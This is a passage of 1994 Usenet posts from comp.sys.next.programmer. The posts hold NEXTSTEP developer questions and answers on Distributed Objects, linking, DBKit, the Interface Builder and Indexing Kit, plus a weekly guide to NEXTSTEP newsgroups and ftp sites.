up and running on my NeXT. Thanks! -- Bernie -- +------------------------------------------------------------------------+ | REWARD: Lost .sig, last seen in comp.sys.* or bionet.*, answers to | | the name btf64@cas.org | +------------------------------------------------------------------------+
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: DO and multi-threaded daemon Message-ID: <CoGH32.7M@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <CoBty6.2D2@news.cis.umn.edu> Date: Mon, 18 Apr 1994 12:54:49 GMT Peter Eisch (peter@tahiti.umhc.umn.edu) wrote: : PS. I'm still looking for info about why I can't use DO before a fork() : if I intend to use it after a fork(). I'd guess the answer to this will : be the fabled, "if you have to ask, you don't want to know..." Tho I've posted this question before to no avail, I may have found the work-around through persistence. The problem was that if you did anything with Distributed Objects before a fork(), anything you tried to do after fork() would fail miserably. (ie. registering *any* objects or trying to connect to *any* local or remote object would return a nil connection or proxy respectively. Well, frustration leads to persistence which leads to persperation. I tried seeing what it would take to try an 'break' the broken behavior. Now my code looks like: - vend { NXConnection *conn; conn = [NXConnection registerRoot:self withName:"uniq name"]; while (conn == nil) conn = [NXConnection registerRoot:self withName:"uniq name"]; return self; } Lo and behold it will register. Testing showed that it takes three tries before it will work though. Consistently three tries. Not forking ALWAYS succeeds on the first try. This is valid on: 3.2 (black and white) peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: compiling progams under NS 3.2 User? Date: Mon, 18 Apr 1994 08:46:59 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <Mhgc53200iV7Q1NSFP@andrew.cmu.edu> In-Reply-To: <MJANTTI.94Apr18135240@medusa.abo.fi> Excerpts from netnews.comp.sys.next.programmer: 18-Apr-94 compiling progams under NS.. by Markus J{ntti STA@medusa > I recently purchased and installed NS 3.2 for black hardware. > I bought my NeXTstation used, and it had NS 2.1 Developer > installed. I'm not a programmer myself, but fairly often > I like to install PD stuff on my NeXT, so that I have more > or less the same Unix programs on my NeXT which I keep at > home and my SPARCstation at work. > > NS 3.2 User does not seem to have a gcc compiler, though. NeXT's "cc" compiler is a modified version of gcc-2.2.2. To make PD stuff that looks for gcc in preference to cc know this, do a "ln -s /bin/cc /bin/gcc" as root. > I found on the archives a thing called gcc.pkg.tar, which > I installed successfully (I think). Now, however, when > I attempt to compile something I am told that the link > editor ld cannot be found. Do you have 3.2 Developer installed? Without getting the Developer packages, you will be missing various vital things, including ld and header files. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: PDO: No bug, but a feature!? Message-ID: <1994Apr18.130923.21215@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus Date: Mon, 18 Apr 1994 13:09:23 GMT Hi, I do some programming with PDOs and ran into trouble with NXConnection's "registerRoot:withName:". The connection was established correctly but no messages came through. The death of the connection was also reported correctly! My trial-and-error lasted for several hours when I tried to change the name, which I used to register root. That was the solution: I've used the name of the application to register, but with a leading lower letter. I think that the application name is reserved by another port, regardless of the case of the letters. There was no word about this in the documentation but 2 minutes of thinking about it should have solved my problem! Bye, Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
From: laroche@sig.enst.fr (Jean Laroche ) Newsgroups: comp.sys.next.programmer Subject: Edit Expansions Date: 18 Apr 1994 12:56:49 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris France Message-ID: <2ou02h$d07@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi there. I'm trying to use the Expansion feature of Edit (in 3.0). (it's a cool way to create macros you can call from edit by using the esc key). I can't find a way to make it work (even though it worked under 2.1). Has anybody done that? If yes, what am I doing wrong? Also, the documentation in 3.0 does not correspond to what you get when you try it! Would anybody send me the REAL documentation (has this been fixed in 2.0?). A million thanks in advance J Laroche
Newsgroups: comp.sys.next.programmer From: cuilla@il.us.swissbank.com (Chris Cuilla) Subject: linking bundles against other libraries? Message-ID: <1994Apr18.142241.25207@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 18 Apr 1994 14:22:41 GMT I know that there used to be a way to link a bundle against other libraries. The methos eludes me at this time. I'm alos wondering if (for some gawd-awful reason) this is no longer supported under NS 3.2? Any help here? I know that I can simply link my main executable against this library, but that is NOT the best solution. I want my bundle to be able to use libs that the main executable did not think/know about when it was built. Thanks! -- Chris Cuilla cuilla@swissbank.com
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Date: 18 Apr 1994 15:41:20 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2ou9n0$bmb@cerberus.wsc.com> References: <1994Apr14.153048.3128@stone.com> In article <1994Apr14.153048.3128@stone.com> andrew@stone.com (Andrew Stone) writes: > In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) > writes: > > > > 1) bugs are not likely to be fixed > > This is not true - they just fixed some. The problem is that IXStore and friends are extremely buggy. You yourself know that, since DataPhile has a history of being victimized by new releases of NEXTSTEP. NeXT isn't very interested in keeping the IXKit going. If they were, then they wouldn't drop support for the high-level classes. My company is involved in a project that uses IXKit in a very heavy-duty manner, and we've hit so many show stopping bugs at the IXStore level that we're considering abandoning it alltogether. Now, perhaps NeXT pays attention to one of their last high-profile ISVs, with one of the few high-profile apps on NEXTSTEP when NEXTSTEP breaks said app. Of course NeXT will listen and fix the bugs. I still stand by my original statements... The IXKit has been around for a long time... it is still buggy. It will always be buggy, and NeXT is officially "reducing" the level of support for the IXKit. This is *not* something that you want to base development on as a company, since it is a high risk proposition. Would you really stake someone elses' money on a kit that's been historically undersupported by NeXT, has been buggy, and is officially "less supported" in the very near future? I wouldn't dare risk other people's money. I know that my company made use of the IXKit's high level classes, and it now looks like we're burned. Support for them goes away... also, my company spent $10,000 on PhoneKit development, and NeXT threw that away as well. What with all this "Object Oriented" bug-and-cost saving, *IS IT TOO MUCH TO EXPECT* that NeXT ship kits that are reasonably bug-free, ship an OS that is reasonably bug-free, and NOT CONTINUE TO DROP FUNCTIONALITY? Or is OOP all just a big rip-off? Why doesn't it seem to help NeXT any? Sorry to be so angstful, but my company has in the past leveraged NeXT's kits, and been burned when a) the documented functionality just was not there b) they were buggy as hell c) NeXT pulled support for the kits > What might "go away" is the RecordManager stuff - which, as you point out, > is partially broken. > *All* of the IXKit is partially broken. It's a beautiful concept, it's just not finished yet. I wish they would just FINISH the thing, instead of throwing parts of it away. There's NO REASON to throw functionality away... And, the only way we're going to get IXRecordManager support in the future is if NeXT makes the source code public domain. In fact, they should definately do that so people that care about this stuff can debug it and use it. > Luckily for us, DataPhile uses only the underlying classes! Is it because you guessed correctly which classes NeXT was going to throw away, or because they told you before they told the rest of us? Or because you found out on your own which parts were too damn buggy to use by spending time and money and finally being surprised that things didn't work. All in all, it's another example of where NeXT can improve what it does. - darcy
From: philipp@enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer Subject: Using "NXSoundDevice" and "NXPlayStream" Date: 18 Apr 1994 19:56:02 +0200 Organization: Telecom Paris (ENST), France Sender: philipp@res.enst.fr Distribution: world Message-ID: <2ouhji$rf4@hydre.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: sound I'm working on a couple of applications that acquire, treat, and play sound data in real-time. The NXPlayStream interface looks powerful and handy, but complicated. Are there any PD programs that use this API that I could look at to have an idea of how to use this? TFM is inadequate -- it describes each method, but not what order they are used, or what typical values one uses for parameters, or how to connect it up to an NXSoundDevice, etc. Also, the developer-kit contains no examples... Thanks for any clues. Please reply directly... -Philip
From: koller@lte.e-technik.uni-erlangen.de (Juergen Koller) Newsgroups: comp.sys.next.programmer Subject: Re: Audio MPEG for NeXT - please! Date: Mon, 18 Apr 1994 20:42:58 GMT Organization: University of Erlangen Message-ID: <2ourciE224@uni-erlangen.de> References: <UVONBONQ@obh.in-berlin.de> In article <UVONBONQ@obh.in-berlin.de> ob@obh.in-berlin.de (Oliver Brandmueller) writes: > >Hello, > >as I'm not a real programmer, I'm not able to prt the folllowing piece of >code to the NeXT. It compiles fine on Suns and it's able to output 16 Bit >linear 2 channel raw soundfiles from Audio MPEG files (.mp2). It produces >other rates if requested by the mp2-fileheader. > >I'd like to have that ported to NeXT, so that I can play Audio MPEG >directly on my NeXT, as the normal procedure to convert the files on my >Sun (only capable of playing 8-bit-8-kHz-mono-ulaw) and then on my NeXT >using sox to 16/44.1/2channel to play them... > >If you don't have a sample Audio MPEG file, please drop me a mail, I'll >send you one. > >Thanx, Olli > > Hi Many people were able to learn programming, there are many good books helping you to learn programming and there is a good standard ( ISO/IEC 11172-3 ) describing the bitstream syntax. Starting to port should be no problem problem for you, shouldn't it? :-)) MfG Juergen Koller --- email: koller@lte.e-technik.uni-erlangen.de gilb: Lehrstuhl Technische Elektronik, Juergen Koller, Cauerstrasse 9, 8520 Erlangen Tel.: [University] (09131) 85-7190
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: linking bundles against other libraries? Message-ID: <CoGxFz.1MC@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <1994Apr18.142241.25207@il.us.swissbank.com> Date: Mon, 18 Apr 1994 18:45:35 GMT In article <1994Apr18.142241.25207@il.us.swissbank.com> cuilla@il.us.swissbank.com (Chris Cuilla) writes: > I know that there used to be a way to link a bundle against other > libraries. The methos eludes me at this time. I'm alos wondering if (for > some gawd-awful reason) this is no longer supported under NS 3.2? Any > help here? > > I know that I can simply link my main executable against this library, but > that is NOT the best solution. I want my bundle to be able to use libs > that the main executable did not think/know about when it was built. > > Thanks! > > -- > Chris Cuilla > cuilla@swissbank.com I'd be interested in a solution for this, too. The better solution even would be, if one could runtime link a library. Example: Recently I wrote a preferences bundle (for the Mixer on the ProAudioSpectrum), that needed ther driver kit library, which is not linked to Preferences.app. I ended up with extracting the o-files from the library and linking the needed ones to my bundle. This is of course an ugly hack, and only will work for the first bundle, that does so. A better solution is needed here. Gerd
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 18 Apr 1994 15:25:40 -0400 Organization: Next Announcements Message-ID: <2oumrk$mij@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: NEXTSTEP World Wide Web Product Information Server online NEXTSTEP Product Information Mail Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers Much of this information is also available using the World Wide Web, <http://digifix.digifix.com/index.html> NEXTSTEP World Wide Web Product Information Server online --------------------------------------------------------- A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. NEXTSTEP Product Information Mail Server online --------------------------------------------------------- The NEXTSTEP Product Information Mail Server is now available for product literature and pricing from NEXTSTEP developers. You can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: linker and library problem, help wanted !! Message-ID: <1994Apr14.214759.352@afs.com> Sender: greg@afs.com References: <1994Apr12.183743.608@dbulm1.uucp> Date: Thu, 14 Apr 1994 21:47:59 GMT In article <1994Apr12.183743.608@dbulm1.uucp> gloger@dbulm1.uucp (Jochen Gloger) writes: > I have a problem relating to UNIX libraries created by ar and ranlib. > [description of conflicting symbol defs between .o file and library] We used to think that the -m flag would force the linker to deal with the conflict silently and do the right thing, but it doesn't. In such cases, you might expect it to favor the .o file over the library. Wrong. Assuming these are .m sources, the best solution is to put just the methods you are debugging into a category as part of your project. The category definitions will override the library definitions at runtime, and you don't have to worry about the linker at all. Then when your changes are certified, move the methods back into the libraried implementation and remove the category from your project. -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
From: koller@lte.e-technik.uni-erlangen.de (Juergen Koller) Newsgroups: comp.sys.next.programmer Subject: Bug56k ( DSP - Debugger for black ) Date: Mon, 18 Apr 1994 21:06:47 GMT Organization: University of Erlangen Message-ID: <2ousp7E3mu@uni-erlangen.de> References: <UVONBONQ@obh.in-berlin.de> <2ourciE224@uni-erlangen.de> Since upgrading form NS2.2 to NS3.2 DSPeek in Bug56k doesen't work any longer. Is there a newer version availeable or have I to downgrade back to NS2.2 to use this funktion ? BTW the Bug56k in the Musickit has the same effect. Thanks Juergen --- email: koller@lte.e-technik.uni-erlangen.de gilb: Lehrstuhl Technische Elektronik, Juergen Koller, Cauerstrasse 9, 8520 Erlangen Tel.: [University] (09131) 85-7190
From: andrew@wire.home.net (andrew abernathy) Newsgroups: comp.sys.next.programmer Subject: Solved: problem using NXBrowser setCellClass: Date: 18 Apr 1994 17:14:44 -0400 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9404181314.AA09756@wire.home.net> Many thanks to David Griffiths, who very quickly sent the correct answer (he did have the advantage of being in Britain, therefore got my panicked post before the U.S. was awake). He wrote: > >I'm trying to change the cell class for an NXBrowser to be a custom class > >which is a subclass of NXBrowserCell; I'm having no luck. >> >> [...] > > -appDidInit may be too late. Try putting the above line in awakeFromNib or > somewhere. This worked - I added an -appDidInit. and it was smooth sailing - greatly simplifies parts of my code; it certainly makes it easier to think about. Thanks to all who sent help! --- andrew_abernathy@wire.home.net (NeXTmail ok, MIME in a pinch) 3306-I Country Club Vlg. Ln. Powered by Motorola Norcross, GA 30092-4426
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software From: scooby@cis.umassd.edu (Rob Duarte) Subject: REQUEST: Can you send me screenshots? Message-ID: <CoH3Kv.FAu@umassd.edu> Sender: usenet@umassd.edu (USENET News System) Organization: University of Massachusetts Dartmouth Date: Mon, 18 Apr 1994 20:57:59 GMT I am doing a project on NeXT and I could use some screenshots in any image format. I would especially like screen captures of NeXTmail and maybe the NeXT logo? Thanks a lot for any replies... Rob. scooby@cis.umassd.edu
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: dread for user's background color preference? Date: 18 Apr 1994 22:43:41 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr18154341@spike.physics.ucla.edu> Last week I uploaded the RoachesView BackSpace module. My first bug report (thanks Stephen Selipsky (stephen@genesis1.physics.yale.edu)) was that on an Intel GX/Pro, the user's background color preference was not being read. On color and mono black hardware, NXReadDefault("NeXT1", "BackgroundColor") or NXReadDefault("NeXT1", "BWBackgroundColor") picks up the user's preference. A dread -l yields nothing analogous in Stephen's GX/Pro preferences database. I would appreciate a pointer to the documentation on how to properly pick up the user's background color. Thanks for the help. --Brian Hill
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Sorting with the DBKit Message-ID: <1994Apr18.025851.12647@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2ohvnh$o8@cooper.demon.co.uk> Date: Mon, 18 Apr 1994 02:58:51 GMT Marit, Matthew has the right idea....I asked the same question of NeXT. Mai Nguyen says that there is DEFINITELY a bug in the DBRecordList/DBFetchgroup processing, that "throws away" the add_retrieveorder. Matthew's solution is the only way around it. Rik (cousens@biztech.com) In article <2ohvnh$o8@cooper.demon.co.uk> m_cooper@cooper.demon.co.uk (Matthew Adam Cooper) writes: > In article <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de> > marit@pz-oekosys.uni-kiel.d400.de writes: > > Hi! > > > > I fetch data of an ORACLE database and I want to show them in alphabetical > > order. > > > > Therefore I use the line > > > > [ recordList addRetrieveOrder: DB_AscendingOrder for: sortProperty ]; > > > > which doesn't work properly. I don't recognize an order, especially not of > > the chosen sortProperty. No error message occurs. > [DELETED] > > My configuration: NEXTSTEP 3.2, i486, ORACLE 7 > > > > Thanks in advance, > > Marit > > > I copied this form one of the examples with 3.2. DBFetchGroup clears > the sort order before sending the fetch. > > /* DBFetchGroup delegate methods */ > > - fetchGroupWillFetch:fetchGroup > { > sortProp = [[dbModule entity] propertyNamed:"Name"]; > > [dbRecordList addRetrieveOrder:DB_AscendingOrder for:sortProp]; > return self; > } > > -- > 6 Bruce Avenue Phone : (England) 0903 505406 > Worthing, > West Sussex. E-mail : m_cooper@cooper.demon.co.uk > England BN11 5JN (NeXTmail)
Newsgroups: comp.sys.next.programmer From: u9006869@qub.ac.uk (Bug Barbecue) Subject: Thanks all! Message-ID: <UBYNBDJK@math.fu-berlin.de> Sender: news@math.fu-berlin.de (Math Department) Organization: The Queen's University of Belfast Date: Mon, 18 Apr 1994 23:16:52 GMT You'll be glad to hear folks that I got my project vaguely completed and it's been submitted, so that's the last you'll hear from me. Thanks to all you guys and gals who helped, especially Art and John R. It was much appreciated! Now all I have to do is kill all the staff of our department for making us program in NS2 in the first place.... Darren Aitcheson (Queen's University of Belfast) ------------------------------------------------ u9006869@athmail1.causeway.qub.ac.uk se01@elegabalus.cs.qub.ac.uk (NeXT Mail)
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: scaling an offscreen cache in a ScrollView Date: 18 Apr 1994 19:20:41 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <940419011839.782AACUR.malc@jeeves> I'll try asking this simply to begin with, in case there is a simple answer... I've used zoomed ScrollViews, and off-screen caches, but not until now the two together. Combining them isn't entirely straightforward. I scale the ScrollView's contentView: [contentView scale: scaleFactor : scaleFactor]; but of course the docView is displaying in an offscreen cache which is composited directly: - drawSelf:(const NXRect *)rects :(int)rectCount { // ... [self getVisibleRect:&visibleRect]; gstate = [cacheWindow gState]; for (j = 0; j < rectCount; j++) { rp = &r; r = rects[j]; if (!NXEqualRect(rp, &visibleRect)) rp = NXIntersectionRect(&visibleRect, rp); if (rp) { PScomposite(NX_X(rp), NX_Y(rp), NX_WIDTH(rp), NX_HEIGHT(rp), gstate, NX_X(rp), NX_Y(rp), NX_COPY); } } return self; } [Some of this code will be familiar to some people! :-) ] ... this means that there is no transformation applied to the image that is pushed onto screen, and the scaling I want doesn't happen. I presume this is a well-worked out problem with a straightforward solution? But I can't see it at the moment (and I've tried a few!), and would appreciate some hints... Is there a single operation I should pass on (similar to, but not the same as, passing the scale:: message from the ScrollView's contentView to the cached View -- which I've tried with no success), or is it a bit more involved? Apologies if this is too unclear -- it's late and I'm not very well :~( Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: ewsdev99!bruce (Bruce McKenzie) Subject: Bogus make dependencies Message-ID: <CoGw1o.5rz@trwlasd.com> Keywords: make,depend,build Sender: bruce@trwlasd.com (Bruce McKenzie) Organization: TRW Date: Mon, 18 Apr 1994 18:15:23 GMT When I run make depend (from PB, NS3.1 Black) I get only one dependency per source file: File.o : File.h regardless of what File.h (or File.m) really imports. I tried changing a #import to a #include. No difference. AND... Has anyone hacked the NeXT *.make to not die when running make depend on an empty (no h/m files) subproject? (I'm working on a large project, and I set up the subproject structure first) The only thing I can do is move the empty subprojects to after the non-empty ones in PB. Thanks. Bruce McKenzie bruce@trwlasd.com
From: edwardtl@NeXTwork.Rose-Hulman.Edu (Travis L Edwards) Newsgroups: comp.sys.next.programmer Subject: Default Open App Date: 19 Apr 1994 02:33:15 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2ovftb$h9v@master.cs.rose-hulman.edu> Hello, I have done this before but I forgot the syntax. I am wondering what the command is to set my default open app to be something besides Edit.app. (i.e. Emacs) -- email - edwardtl@nextwork.rose-hulman.edu __o _`\<,_ "I.C. made a different man out of me!!", Me. (_)/ (_) "Qa'pla", Worf.
Newsgroups: comp.sys.next.programmer From: paul@washburn.Princeton.EDU () Subject: postscript to rtf? Message-ID: <1994Apr18.194007.7342@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Mon, 18 Apr 1994 19:40:07 GMT (on a NeXT machine) thanks paul lansky paul@princeton.edu
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Default Open App Date: 19 Apr 1994 04:20:29 GMT Organization: San Francisco State University Message-ID: <2ovm6d$b6i@nic-nac.CSU.net> References: <2ovftb$h9v@master.cs.rose-hulman.edu> In article <2ovftb$h9v@master.cs.rose-hulman.edu> edwardtl@NeXTwork.Rose-Hulman.Edu (Travis L Edwards) writes: >Hello, I have done this before but I forgot the syntax. I am wondering >what the command is to set my default open app to be something besides >Edit.app. (i.e. Emacs) dwrite Workspace DefaultOpenApp Emacs (takes effect the next time you log in) -=EPS=-
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: Re: Default Open App Date: 19 Apr 1994 04:29:03 GMT Organization: Dept. of Physics, UCLA Message-ID: <BHILL.94Apr18212903@spike.physics.ucla.edu> References: <2ovftb$h9v@master.cs.rose-hulman.edu> In-reply-to: edwardtl@NeXTwork.Rose-Hulman.Edu's message of 19 Apr 1994 02:33:15 GMT > I am wondering what the command is to set my default open app to be > something besides Edit.app. (i.e. Emacs) In Emacs.app, get the Preferences panel, and check "Be default open app."
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Current Beginers surprises using NIB Message-ID: <1994Apr19.070633.1349@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. Date: Tue, 19 Apr 1994 07:06:33 GMT For two weeks I try to explain some developpers how to USE NEXTSTEP and the appkit The most frequent error they do is to do some stuff on the outlets in the init method of objects instanced in a nib and connected with IB . At runtime , when the object is instanced ( loading the nib), all the other objects of the nib are not yet instanced and the connexion are not done so they work on emply outlets. It is a classic mistake but not easy to explain. Another mistake is to declare a variable in a class @interface Object:Toto { id myMum; } and to create a method setMyMum: mummy { myMum = [mummy daddy]; return self; } this method do not complain with the guidelines it should be : setMyMum: mummy { myMum = mummy; return self; } but the reaction of a developer is: guidelines are only guidelines I am not obliged to complain with it all the time. BAD LUCK .... This is not true If they try to instance this object in a NIB and connect another object to myMum., they ll be surprised. they ll get a crash or an empty outlet. During Nib loading, the Appkit use the method: setMyMum:instance to etablish the connexion. If you define this method on your own and do not use it to simply set the value of the outlet. You can imagine the result. It was well explained in the first documentation ( 2.2) .... not yet... And beginners are falling in the trap all the time. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
